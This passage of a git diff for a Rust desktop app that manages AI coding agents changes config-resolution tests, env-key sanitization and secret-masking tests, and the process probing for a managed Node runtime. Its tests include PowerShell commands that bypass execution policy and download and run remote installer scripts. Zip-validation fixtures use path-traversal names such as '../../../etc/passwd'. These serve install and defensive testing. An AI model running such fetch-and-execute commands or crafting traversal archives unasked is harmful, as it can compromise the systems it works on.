assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); +} + +/// Part A — pending-pick: a genuine-explicit pick X with a divergent live +/// model Y but `model_overridden == false` (the live switch is not yet +/// applied — a restart is pending) must keep X as the primary and must NOT +/// surface Y as an override row. The live `acp_model` does not win. This +/// FAILS against a let-live-acp-win variant (one that dropped the +/// `model_overridden` gate), so it is not vacuous. +#[test] +fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-y", false); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-x")); + assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); + assert_ne!(model.overridden_value.as_deref(), Some("model-y")); +} + +/// W2 — genuine-explicit live switch: record.model = X, no persona, +/// `model_overridden == true`, live model = Y. The live Y must render as the +/// primary with a `RuntimeOverride` origin and X as the secondary tagged +/// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the +/// shipped no-persona early-return, which left X as primary and Y struck. +#[test] +fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-y", true); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value.as_deref(), Some("model-x")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); +} + +/// Y==X collision: a genuine-explicit agent live-switches to the SAME value +/// it already had. There is no real divergence, so the field must be a clean +/// single value with NO secondary row and origin matching the baseline (not +/// RuntimeOverride). FAILS against a naive `return base` that would leak the +/// `AcpConfigOption` row `build_model_field` populates, and against the +/// prior implementation that stamped `RuntimeOverride` on the equal-value arm. +/// +/// `with_no_goose_config` suppresses the goose config file read so that the +/// fall-through to normal resolution cannot pick up a local `~/.config/goose/config.yaml` +/// model as a spurious secondary — the test is about tier precedence, not the +/// local developer's goose install. +#[test] +fn genuine_explicit_live_switch_to_same_model_yields_clean_field() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-x", true); + + let surface = with_no_goose_config(|| { + resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ) + }); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-x")); + // Equal-value switch must NOT stamp RuntimeOverride — baseline origin wins. + assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value, None); + assert_eq!(model.overridden_origin, None); +} + +/// Persona parity (regression): a persona-linked agent with no explicit +/// record model that live-switches still renders the persona model as the +/// secondary tagged `PersonaDefault` — the typed-baseline change must NOT +/// regress the persona arm to a different origin. +#[test] +fn persona_linked_live_switch_keeps_persona_default_secondary() { + let record = agent_record(); + let personas = vec![persona_with_model("persona-model")]; + let cache = session_cache("model-y", true); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); +} + +/// Fix 2 regression: a global-default-only agent (no record model, no +/// persona model, but global has a model) that live-switches mid-session +/// must render the global model as the secondary tagged `GlobalDefault`. +/// Before the fix, `baseline` was `None` in the `!had_model` arm when +/// persona has no model, so `read_config_surface` had no secondary to +/// surface. Fails against pre-fix code where the baseline arm returned +/// `None` when `!had_model && persona_model.is_none() && model_overridden`. +#[test] +fn global_default_live_switch_renders_global_model_as_secondary_global_default() { + // Record has no model, no persona, global provides the model. + let mut record = agent_record(); + record.persona_id = None; + // record.model = None (set by agent_record()) + let personas: Vec = vec![]; + let cache = session_cache("model-y", true); + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &global, + ); + let model = surface.normalized.model.expect("model resolved"); + + // Live model wins as primary. + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + // Global model surfaces as secondary, tagged GlobalDefault. + assert_eq!( + model.overridden_value.as_deref(), + Some("global-model"), + "global model must be the override baseline secondary" + ); + assert_eq!( + model.overridden_origin, + Some(ConfigOrigin::GlobalDefault), + "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit" + ); +} + +// ── Snapshot constructor tests (build_inherited_tiers) ────────────────────── +// +// These test the sanitized snapshot constructor — the command-boundary +// function that builds InheritedConfigTiers from raw persona/global data. + +/// Orphaned persona link: a record whose persona_id references a non-existent +/// persona should produce empty persona tiers (not a panic), and the panel +/// still renders from the record and global tiers. +#[test] +fn orphaned_persona_link_yields_empty_persona_tiers() { + let mut record = agent_record(); + record.persona_id = Some("missing-persona".to_string()); + // No personas in the list — dangling link. + let personas: Vec = vec![]; + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let tiers = build_inherited_tiers(record.persona_id.as_deref(), None, &personas, &global); + + // Persona tier is empty — the orphan yields no persona inheritance. + assert!(tiers.persona_env.is_empty()); + assert!(tiers.persona_model.is_none()); + assert!(tiers.persona_provider.is_none()); + assert!(tiers.persona_prompt.is_none()); + // Global tiers are unaffected. + assert_eq!(tiers.global_model.as_deref(), Some("global-model")); +} + +/// Reserved key in persona env is stripped by sanitization — it must never +/// reach the reader or the display surface. +#[test] +fn reserved_key_in_inherited_persona_env_is_stripped() { + let mut persona = persona_with_model("model"); + // BUZZ_PRIVATE_KEY is a reserved key — must be stripped. + persona + .env_vars + .insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string()); + // A safe key — must survive. + persona + .env_vars + .insert("GOOSE_MODEL".to_string(), "persona-model".to_string()); + let personas = vec![persona]; + let global = crate::managed_agents::GlobalAgentConfig::default(); + + let tiers = build_inherited_tiers(Some("persona-1"), None, &personas, &global); + + assert!( + !tiers.persona_env.contains_key("BUZZ_PRIVATE_KEY"), + "reserved key must be stripped from persona env tier" + ); + assert!( + tiers.persona_env.contains_key("GOOSE_MODEL"), + "safe key must survive sanitization" + ); +} + +/// `sanitize_inherited_env` strips reserved keys from a definition-env-shaped +/// map. This pins the shared sanitization contract for definition_env — the +/// same function is applied to all three env tiers (persona, global, definition) +/// at the command boundary. +#[test] +fn reserved_key_in_definition_env_shaped_map_is_stripped_by_sanitize() { + // Exercise sanitize_inherited_env directly with a definition-env-shaped map. + let mut raw = std::collections::BTreeMap::new(); + raw.insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string()); + raw.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + + let sanitized = sanitize_inherited_env(&raw); + + assert!( + !sanitized.contains_key("BUZZ_PRIVATE_KEY"), + "reserved key must be stripped by sanitize_inherited_env" + ); + assert!( + sanitized.contains_key("GOOSE_MODEL"), + "safe key must survive sanitize_inherited_env" + ); +} + +/// Malformed key in global env is stripped by sanitization — keys must be +/// POSIX-shaped (`[A-Za-z_][A-Za-z0-9_]*`). +#[test] +fn malformed_key_in_inherited_global_env_is_stripped() { + let mut global = crate::managed_agents::GlobalAgentConfig::default(); + // Key with an `=` — would bypass env-var security if passed to spawn. + global + .env_vars + .insert("BAD=KEY".to_string(), "value".to_string()); + // A valid key — must survive. + global + .env_vars + .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string()); + + let tiers = build_inherited_tiers(None, None, &[], &global); + + assert!( + !tiers.global_env.contains_key("BAD=KEY"), + "malformed key must be stripped from global env tier" + ); + assert!( + tiers.global_env.contains_key("GOOSE_PROVIDER"), + "valid key must survive sanitization" + ); +} + +// ── get_baked_build_env / is_secret_key tests ────────────────────────── + +/// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what +/// `get_baked_build_env()` does. Used to test masking without relying on +/// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`). +fn baked_env_from_map(map: &[(&str, &str)]) -> Vec { + map.iter() + .filter(|(_, v)| !v.is_empty()) + .map(|(k, v)| { + let masked = !super::is_safe_to_reveal(k); + BakedEnvEntry { + key: k.to_string(), + value: if masked { + "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string() + } else { + v.to_string() + }, + masked, + } + }) + .collect() +} + +#[test] +fn baked_env_non_secret_key_shows_real_value() { + let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]); + assert_eq!(entries.len(), 1); + assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER"); + assert_eq!(entries[0].value, "databricks_v2"); + assert!(!entries[0].masked); +} + +#[test] +fn baked_env_api_key_is_masked() { + let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]); + assert_eq!(entries.len(), 1); + assert_eq!(entries[0].value, "••••••"); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_token_key_is_masked() { + let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_secret_key_is_masked() { + let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_password_key_is_masked() { + let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_empty_value_filtered_out() { + let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]); + assert!(entries.is_empty()); +} + +#[test] +fn baked_env_mixed_keys_correct_masking() { + let entries = baked_env_from_map(&[ + ("BUZZ_AGENT_PROVIDER", "databricks_v2"), + ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"), + ("DATABRICKS_HOST", "https://example.com"), + ("DATABRICKS_TOKEN", "dapi-secret"), + ]); + assert_eq!(entries.len(), 4); + + let provider = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_PROVIDER") + .unwrap(); + assert_eq!(provider.value, "databricks_v2"); + assert!(!provider.masked); + + let model = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_MODEL") + .unwrap(); + assert_eq!(model.value, "goose-claude-opus-4-8"); + assert!(!model.masked); + + let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap(); + assert_eq!(host.value, "https://example.com"); + assert!(!host.masked); + + let token = entries + .iter() + .find(|e| e.key == "DATABRICKS_TOKEN") + .unwrap(); + assert_eq!(token.value, "••••••"); + assert!(token.masked); +} + +#[test] +fn baked_env_thinking_effort_is_unmasked() { + // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked. + let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]); + assert_eq!(entries.len(), 1); + let effort = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT") + .unwrap(); + assert_eq!(effort.value, "medium"); + assert!(!effort.masked); +} + +#[test] +fn baked_env_allowlist_is_case_insensitive() { + // Known-safe keys — case-insensitive match must allow them. + assert!(super::is_safe_to_reveal("buzz_agent_provider")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER")); + assert!(super::is_safe_to_reveal("buzz_agent_model")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL")); + assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT")); + assert!(super::is_safe_to_reveal("databricks_host")); + assert!(super::is_safe_to_reveal("DATABRICKS_HOST")); + assert!(super::is_safe_to_reveal("databricks_model")); + assert!(super::is_safe_to_reveal("DATABRICKS_MODEL")); + // Keys NOT in the allowlist — masked regardless of naming pattern. + assert!(!super::is_safe_to_reveal("my_api_key")); + assert!(!super::is_safe_to_reveal("GITHUB_TOKEN")); + assert!(!super::is_safe_to_reveal("DB_SECRET")); + assert!(!super::is_safe_to_reveal("DB_PASSWORD")); + // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed. + assert!(!super::is_safe_to_reveal("APIKEY")); + assert!(!super::is_safe_to_reveal("TOKEN")); + assert!(!super::is_safe_to_reveal("SECRET")); + assert!(!super::is_safe_to_reveal("PASSWORD")); + assert!(!super::is_safe_to_reveal("PRIVATE_KEY")); + // Unknown key → masked by default. + assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY")); +} diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs index cbbf4ce351..9609db5f2d 100644 --- a/desktop/src-tauri/src/commands/agent_discovery.rs +++ b/desktop/src-tauri/src/commands/agent_discovery.rs @@ -21,25 +21,13 @@ fn active_installs() -> &'static std::sync::Mutex( runtime_id: &str, adapter_path: Option<&std::path::Path>, @@ -167,7 +155,6 @@ pub async fn save_custom_harness( Ok(AcpRuntimeCatalogEntry { id: definition.id, label: definition.label, - // Security: no user-supplied avatar URL in catalog entries. avatar_url: String::new(), availability, command: command_opt, @@ -177,6 +164,9 @@ pub async fn save_custom_harness( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: definition.install_hint, install_instructions_url: definition.install_instructions_url, can_auto_install: false, @@ -186,8 +176,8 @@ pub async fn save_custom_harness( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, - // Carry definition env back so the edit form can read and preserve it. definition_env: definition.env, + max_parallelism: crate::managed_agents::harness_max_parallelism(&definition.command), }) } @@ -333,10 +323,7 @@ fn install_acp_runtime_blocking( // For the codex runtime, "found" is not enough — the resolved binary must also // pass the 1.x version gate. An outdated 0.16.x adapter must be overwritten by // the new npm install so the CODEX_CONFIG spawn contract works correctly. - let adapter_path = runtime - .commands - .iter() - .find_map(|cmd| crate::managed_agents::resolve_command(cmd)); + let adapter_path = resolve_adapter_path(runtime.commands, runtime.adapter_install_commands); let adapter_probe_path = crate::managed_agents::readiness::cli_probe::augmented_path(); if let Some(cmds) = plan_adapter_install( runtime_id, @@ -1020,7 +1007,7 @@ use install_report::InstallReporter; mod managed_node; use managed_node::{ ensure_managed_node_runtime_blocking, managed_node_runtime_supported, managed_npm_command, - npm_eacces_hint, + npm_eacces_hint, resolve_adapter_path, }; #[tauri::command] @@ -1741,7 +1728,7 @@ mod tests { #[test] fn test_powershell_command_argv_exact() { // Catalog format: body wrapped in one outer double-quote pair (Bash-layer serialization). - let body = "irm https://chatgpt.com/codex/install.ps1 | iex"; + let body = "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-codex.ps1'; Invoke-RestMethod https://chatgpt.com/codex/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE"; let cmd = super::install_powershell_command(&format!( r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "{body}""# )); @@ -1771,12 +1758,12 @@ mod tests { ); } - /// Claude Code catalog command (discovery.rs:107) must dequote to the bare pipeline. + /// Claude Code catalog command must dequote to the two-step download-then-execute body. #[cfg(windows)] #[test] fn test_powershell_command_claude_catalog_dequoted() { let cmd = super::install_powershell_command( - r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm https://claude.ai/install.ps1 | iex""#, + r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#, ); assert_eq!( cmd.get_args() @@ -1787,22 +1774,22 @@ mod tests { "-ExecutionPolicy", "Bypass", "-Command", - "irm https://claude.ai/install.ps1 | iex", + "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE", ], "Claude catalog command must be dequoted correctly" ); } - /// Goose Windows catalog command (discovery.rs:78) must dequote to a bare pipeline - /// with a literal `$env:` prefix — no backslash before the dollar sign. - /// This proves the `\$` → `$` escape fix: post-#2750 the spawn is native and + /// Goose Windows catalog command must dequote to the two-step download-then-execute body + /// with the `$env:CONFIGURE` prefix intact — no backslash before the dollar sign. + /// This proves the `\$` → `$` contract: post-#2750 the spawn is native and /// PowerShell receives the body verbatim, so a residual `\` would produce /// `\$env:CONFIGURE='false'` which is a malformed statement. #[cfg(windows)] #[test] fn test_powershell_command_goose_catalog_dequoted() { let cmd = super::install_powershell_command( - r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex""#, + r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#, ); assert_eq!( cmd.get_args() @@ -1813,7 +1800,7 @@ mod tests { "-ExecutionPolicy", "Bypass", "-Command", - "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex", + "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE", ], "Goose catalog command must dequote with bare $env: (no backslash before $)" ); diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs index 72108f0291..fbfb068c0e 100644 --- a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs +++ b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs @@ -102,25 +102,155 @@ fn managed_node_failed_step(stderr: String) -> InstallStepResult { } } -fn managed_node_runtime_ready() -> bool { +pub(super) fn managed_node_runtime_ready() -> bool { let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else { return false; }; if !node.is_file() { return false; } - let mut cmd = std::process::Command::new(&node); + probe_node(&node, MANAGED_NODE_VERSION, Duration::from_secs(3)) +} + +/// Run `executable --version` with a bounded deadline and return `true` only +/// when it exits 0 and its trimmed stdout equals `expected_version`. +/// +/// Transport: stdout is redirected to a temp file so no exit path can block on +/// an inherited handle (a descendant retaining a pipe write-end would otherwise +/// prevent EOF indefinitely). +/// +/// Cleanup: the child runs in its own process group on Unix (`process_group(0)`) +/// so an unconditional group SIGKILL on every exit path terminates all +/// descendants. On Windows, `terminate_process` issues `taskkill /T /F` for +/// tree-wide cleanup. SIGKILL to an already-dead group returns ESRCH (no-op). +pub(super) fn probe_node( + executable: &std::path::Path, + expected_version: &str, + timeout: Duration, +) -> bool { + let tmp = match tempfile::NamedTempFile::new() { + Ok(f) => f, + Err(_) => return false, + }; + let out_file = match tmp.reopen() { + Ok(f) => f, + Err(_) => return false, + }; + + let mut cmd = std::process::Command::new(executable); cmd.arg("--version") .stdin(std::process::Stdio::null()) - .stdout(std::process::Stdio::piped()) + .stdout(std::process::Stdio::from(out_file)) .stderr(std::process::Stdio::null()); crate::util::configure_no_window(&mut cmd); - let output = cmd.output(); - output - .ok() - .filter(|output| output.status.success()) - .map(|output| String::from_utf8_lossy(&output.stdout).trim() == MANAGED_NODE_VERSION) - .unwrap_or(false) + #[cfg(unix)] + { + use std::os::unix::process::CommandExt; + cmd.process_group(0); + } + let Ok(mut child) = cmd.spawn() else { + return false; + }; + + let deadline = std::time::Instant::now() + timeout; + let exit_status = loop { + match child.try_wait() { + Ok(Some(status)) => break status, + Ok(None) => { + if std::time::Instant::now() >= deadline { + kill_probe_group(child.id()); + let _ = child.wait(); + return false; + } + std::thread::sleep(Duration::from_millis(50)); + } + Err(_) => { + kill_probe_group(child.id()); + let _ = child.wait(); + return false; + } + } + }; + + // Group-kill unconditionally: SIGKILL to a dead group is ESRCH (no-op). + kill_probe_group(child.id()); + + if !exit_status.success() { + return false; + } + + let mut output = String::new(); + if std::io::Read::read_to_string(&mut tmp.as_file(), &mut output).is_err() { + return false; + } + output.trim() == expected_version +} + +/// Kill the probe's process group/tree unconditionally (no TERM grace — this +/// is a probe, not an agent session). ESRCH on a dead group is fine. +fn kill_probe_group(pid: u32) { + #[cfg(unix)] + unsafe { + libc::kill(-(pid as i32), libc::SIGKILL); + } + #[cfg(windows)] + { + let _ = crate::managed_agents::terminate_process(pid); + } + #[cfg(not(any(unix, windows)))] + { + let _ = pid; + } +} + +/// Returns `true` when the managed Node runtime is absent or no longer executes — +/// meaning any existing npm adapter shims are broken and must be reinstalled. +/// +/// This fires when the pinned Node version changes (e.g. v24.11.0 → v24.18.0): +/// the old dir stays on disk, shims appear installed, but they fail at run time +/// because the Node binary they reference is gone. Treating the adapter as +/// missing forces `ensure_managed_node_runtime_blocking` to re-download Node and +/// npm to reinstall the shims. +pub(super) fn managed_node_orphaned() -> bool { + managed_node_runtime_supported() && !managed_node_runtime_ready() +} + +/// Returns `true` when an adapter at `resolved` should be invalidated. +/// +/// Only a Buzz-managed shim (path under `managed_prefix`) with an orphaned +/// runtime is invalidated; external adapters are always preserved. +pub(super) fn should_invalidate_adapter( + resolved: &std::path::Path, + managed_prefix: &std::path::Path, + orphaned: bool, +) -> bool { + orphaned && resolved.starts_with(managed_prefix) +} + +/// Resolve the adapter binary path, accounting for the Node-orphan case. +/// Resolves first; invalidates only managed-prefix shims when Node is orphaned. +pub(super) fn resolve_adapter_path( + commands: &[&str], + adapter_install_commands: &[&str], +) -> Option { + let resolved = commands + .iter() + .find_map(|cmd| crate::managed_agents::resolve_command(cmd)); + + let needs_managed_npm = adapter_install_commands + .iter() + .any(|cmd| is_npm_global_install(cmd)); + if needs_managed_npm { + if let (Some(ref path), Some(ref managed_bin)) = + (&resolved, crate::managed_agents::buzz_managed_npm_bin_dir()) + { + if should_invalidate_adapter(path, managed_bin, managed_node_orphaned()) { + return None; + } + } + } + + resolved } fn managed_node_install_lock() -> &'static Mutex<()> { @@ -538,211 +668,5 @@ pub(super) fn npm_eacces_hint(stderr: &str, _command: &str) -> Option { // ── end managed npm adapter installs ────────────────────────────────────────── #[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() { - let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap(); - assert!( - hint.contains("Buzz's private Node tools directory"), - "hint: {hint}" - ); - } - - #[test] - fn test_rewrite_npm_install_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install( - "npm install -g @agentclientprotocol/codex-acp", - "'/tmp/Buzz Node'" - ), - "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp" - ); - } - - #[test] - fn test_rewrite_npm_i_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"), - "npm i --global --prefix '/tmp/buzz' some-package" - ); - } - - #[test] - fn test_rewrite_npm_uninstall_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"), - "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp" - ); - } - - #[test] - fn test_rewrite_ignores_non_global_command() { - assert_eq!( - rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"), - "npm install foo" - ); - } - - #[test] - fn test_shell_quote_escapes_single_quotes() { - assert_eq!( - shell_quote(std::path::Path::new("/tmp/Buzz's Node")), - "'/tmp/Buzz'\\''s Node'" - ); - } - - // ── zip validation tests ────────────────────────────────────────────────── - - /// Build an in-memory zip archive with the supplied entry names and return - /// a temporary file containing it (zip::ZipArchive requires Seek). - fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile { - let mut buf: Vec = Vec::new(); - { - let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf)); - let opts = zip::write::SimpleFileOptions::default(); - for name in entry_names { - writer.start_file(*name, opts).unwrap(); - } - writer.finish().unwrap(); - } - let mut tmp = tempfile::NamedTempFile::new().unwrap(); - std::io::Write::write_all(&mut tmp, &buf).unwrap(); - tmp - } - - #[test] - fn test_validate_zip_accepts_normal_entries() { - let tmp = make_zip_with_entries(&[ - "node-v24.18.0-win-x64/node.exe", - "node-v24.18.0-win-x64/npm.cmd", - "node-v24.18.0-win-x64/npm", - ]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - assert!(validate_managed_node_zip_entries(&archive).is_ok()); - } - - #[test] - fn test_validate_zip_rejects_absolute_path() { - let tmp = make_zip_with_entries(&["/etc/passwd"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_path_traversal() { - let tmp = make_zip_with_entries(&["../../../etc/passwd"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("path traversal"), - "expected 'path traversal' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_backslash_rooted() { - // Windows-style absolute path using backslash — must reject on every host. - let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_drive_prefix() { - // Windows drive-letter absolute path — must reject on every host. - let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_backslash_traversal() { - // Path traversal using Windows separator — must reject on every host. - let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("path traversal"), - "expected 'path traversal' in: {err}" - ); - } - - // ── verify_node_tree layout tests ───────────────────────────────────────── - - #[test] - fn test_verify_node_tree_unix_layout_passes() { - let tmp = tempfile::TempDir::new().unwrap(); - let bin = tmp.path().join("bin"); - std::fs::create_dir_all(&bin).unwrap(); - std::fs::write(bin.join("node"), b"").unwrap(); - std::fs::write(bin.join("npm"), b"").unwrap(); - // On non-Windows the unix branch is active — this must pass. - #[cfg(not(windows))] - assert!(verify_node_tree(tmp.path()).is_ok()); - // On Windows the windows branch is active — unix layout must fail. - #[cfg(windows)] - assert!(verify_node_tree(tmp.path()).is_err()); - } - - #[test] - fn test_verify_node_tree_unix_layout_missing_npm_fails() { - let tmp = tempfile::TempDir::new().unwrap(); - let bin = tmp.path().join("bin"); - std::fs::create_dir_all(&bin).unwrap(); - std::fs::write(bin.join("node"), b"").unwrap(); - // npm intentionally absent - #[cfg(not(windows))] - { - let err = verify_node_tree(tmp.path()).unwrap_err(); - assert!(err.contains("bin/npm"), "err: {err}"); - } - } - - #[test] - fn test_verify_node_tree_windows_layout_passes() { - let tmp = tempfile::TempDir::new().unwrap(); - std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); - std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); - std::fs::write(tmp.path().join("npm"), b"").unwrap(); - // On Windows the windows branch is active — this must pass. - #[cfg(windows)] - assert!(verify_node_tree(tmp.path()).is_ok()); - // On non-Windows the unix branch is active — windows-layout root files - // don't satisfy bin/node + bin/npm, so this must fail. - #[cfg(not(windows))] - assert!(verify_node_tree(tmp.path()).is_err()); - } - - #[test] - fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() { - let tmp = tempfile::TempDir::new().unwrap(); - std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); - std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); - // npm POSIX shim intentionally absent - #[cfg(windows)] - { - let err = verify_node_tree(tmp.path()).unwrap_err(); - assert!(err.contains("npm"), "err: {err}"); - } - } -} +#[path = "managed_node_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs new file mode 100644 index 0000000000..a8e1d7f4c8 --- /dev/null +++ 